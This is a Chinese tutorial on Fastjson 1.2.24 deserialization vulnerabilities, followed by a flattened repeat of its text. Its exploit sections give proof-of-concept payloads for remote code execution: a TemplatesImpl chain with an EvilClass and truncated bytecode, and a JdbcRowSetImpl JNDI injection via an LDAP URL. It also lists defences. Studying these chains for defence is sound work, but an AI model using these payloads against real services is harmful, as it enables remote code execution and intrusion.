从0到1的fastjson的反序列化漏洞分析
字数 1544 2025-08-24 20:49:22

Fastjson反序列化漏洞深入分析与利用

1. Fastjson简介

Fastjson是阿里巴巴开源的一个高性能Java库,用于将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。由于其高效性,被广泛应用于Java Web开发中。

2. 环境搭建

2.1 依赖引入

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
</dependencies>

2.2 基础使用示例

public class User {
    private String name;
    private int id;
    
    // 构造方法、getter和setter省略
}

public class FastjsonTest {
    public static void main(String[] args) {
        User user = new User("lihua", 3);
        String json = JSON.toJSONString(user);
        System.out.println(json);
    }
}

3. 序列化与反序列化机制

3.1 序列化特性

使用SerializerFeature.WriteClassName可以在序列化时写入类名:

String json = JSON.toJSONString(user, SerializerFeature.WriteClassName);
// 输出: {"@type":"com.liang.pojo.User","id":3,"name":"lihua"}

3.2 反序列化方法比较

Fastjson提供多种反序列化方法:

  1. JSON.parseObject(json) - 返回JSONObject
  2. JSON.parseObject(json, User.class) - 返回指定类型对象
  3. JSON.parse(json) - 根据@type自动识别类型

关键区别

  • parseObject会调用getter和setter方法
  • parse只调用setter方法

4. 反序列化漏洞原理

4.1 漏洞触发条件

  1. 使用@type指定恶意类
  2. 目标类中存在危险方法(如Runtime.exec)
  3. 这些方法在反序列化过程中被自动调用

4.2 漏洞利用链

4.2.1 简单利用示例

public class User {
    // ...
    public void setId(int id) throws IOException {
        System.out.println("setId");
        this.id = id;
        Runtime.getRuntime().exec("calc.exe");
    }
}

// 触发
String json = "{\"@type\":\"com.liang.pojo.User\",\"id\":3,\"name\":\"lihua\"}";
System.out.println(JSON.parse(json));

4.2.2 TemplatesImpl链利用

恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class EvilClass extends AbstractTranslet {
    public EvilClass() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

POC构造

String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " +
    "\"_bytecodes\":[\"yv66vgAAADQAJgoABwAX...\"], " +
    "'_name':'c.c', '_tfactory':{}, " +
    "\"_outputProperties\":{}, \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";

JSON.parseObject(payload, Feature.SupportNonPublicField);

关键点

  1. 需要设置Feature.SupportNonPublicField来反序列化private字段
  2. 利用TemplatesImplgetOutputProperties()方法触发字节码加载
  3. _bytecodes字段包含Base64编码的恶意类字节码

4.2.3 JdbcRowSetImpl链利用

POC构造

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
    "\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", " +
    "\"autoCommit\":false}";
JSON.parse(payload);

利用流程

  1. 设置dataSourceName为恶意LDAP地址
  2. 设置autoCommit触发connect()方法
  3. connect()方法调用lookup(getDataSourceName())发起JNDI请求

5. 漏洞利用技术细节

5.1 反序列化流程分析

  1. parseObject调用parse方法
  2. 解析JSON字符串,识别@type指定的类
  3. 通过反射加载类并实例化对象
  4. 调用setter方法设置属性值
  5. 对于parseObject,还会调用getter方法

5.2 TemplatesImpl链分析

  1. 反序列化触发getOutputProperties()调用
  2. newTransformer() -> getTransletInstance()
  3. defineTransletClasses()加载_bytecodes中的恶意类
  4. 恶意类构造函数中的代码被执行

5.3 JNDI注入分析

  1. JdbcRowSetImplsetAutoCommit()触发connect()
  2. connect()调用lookup(dataSourceName)
  3. 从恶意LDAP服务器加载并实例化攻击类

6. 防御措施

  1. 升级Fastjson到最新安全版本
  2. 使用@JSONType(ignores = {"propertyName"})忽略敏感属性
  3. 使用ParserConfig.getGlobalInstance().addDeny()设置黑名单
  4. 使用AutoTypeCheckHandler进行自定义类型检查

7. 总结

Fastjson反序列化漏洞的核心在于:

  1. @type特性允许指定任意类
  2. 自动调用getter/setter方法的机制
  3. Java反射机制的可滥用性

通过深入理解这些机制,安全研究人员可以更好地发现和防御此类漏洞。

Fastjson反序列化漏洞深入分析与利用 1. Fastjson简介 Fastjson是阿里巴巴开源的一个高性能Java库,用于将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。由于其高效性,被广泛应用于Java Web开发中。 2. 环境搭建 2.1 依赖引入 2.2 基础使用示例 3. 序列化与反序列化机制 3.1 序列化特性 使用 SerializerFeature.WriteClassName 可以在序列化时写入类名: 3.2 反序列化方法比较 Fastjson提供多种反序列化方法: JSON.parseObject(json) - 返回JSONObject JSON.parseObject(json, User.class) - 返回指定类型对象 JSON.parse(json) - 根据@type自动识别类型 关键区别 : parseObject 会调用getter和setter方法 parse 只调用setter方法 4. 反序列化漏洞原理 4.1 漏洞触发条件 使用 @type 指定恶意类 目标类中存在危险方法(如Runtime.exec) 这些方法在反序列化过程中被自动调用 4.2 漏洞利用链 4.2.1 简单利用示例 4.2.2 TemplatesImpl链利用 恶意类 : POC构造 : 关键点 : 需要设置 Feature.SupportNonPublicField 来反序列化private字段 利用 TemplatesImpl 的 getOutputProperties() 方法触发字节码加载 _bytecodes 字段包含Base64编码的恶意类字节码 4.2.3 JdbcRowSetImpl链利用 POC构造 : 利用流程 : 设置 dataSourceName 为恶意LDAP地址 设置 autoCommit 触发 connect() 方法 connect() 方法调用 lookup(getDataSourceName()) 发起JNDI请求 5. 漏洞利用技术细节 5.1 反序列化流程分析 parseObject 调用 parse 方法 解析JSON字符串,识别 @type 指定的类 通过反射加载类并实例化对象 调用setter方法设置属性值 对于 parseObject ,还会调用getter方法 5.2 TemplatesImpl链分析 反序列化触发 getOutputProperties() 调用 newTransformer() -> getTransletInstance() defineTransletClasses() 加载 _bytecodes 中的恶意类 恶意类构造函数中的代码被执行 5.3 JNDI注入分析 JdbcRowSetImpl 的 setAutoCommit() 触发 connect() connect() 调用 lookup(dataSourceName) 从恶意LDAP服务器加载并实例化攻击类 6. 防御措施 升级Fastjson到最新安全版本 使用 @JSONType(ignores = {"propertyName"}) 忽略敏感属性 使用 ParserConfig.getGlobalInstance().addDeny() 设置黑名单 使用 AutoTypeCheckHandler 进行自定义类型检查 7. 总结 Fastjson反序列化漏洞的核心在于: @type 特性允许指定任意类 自动调用getter/setter方法的机制 Java反射机制的可滥用性 通过深入理解这些机制,安全研究人员可以更好地发现和防御此类漏洞。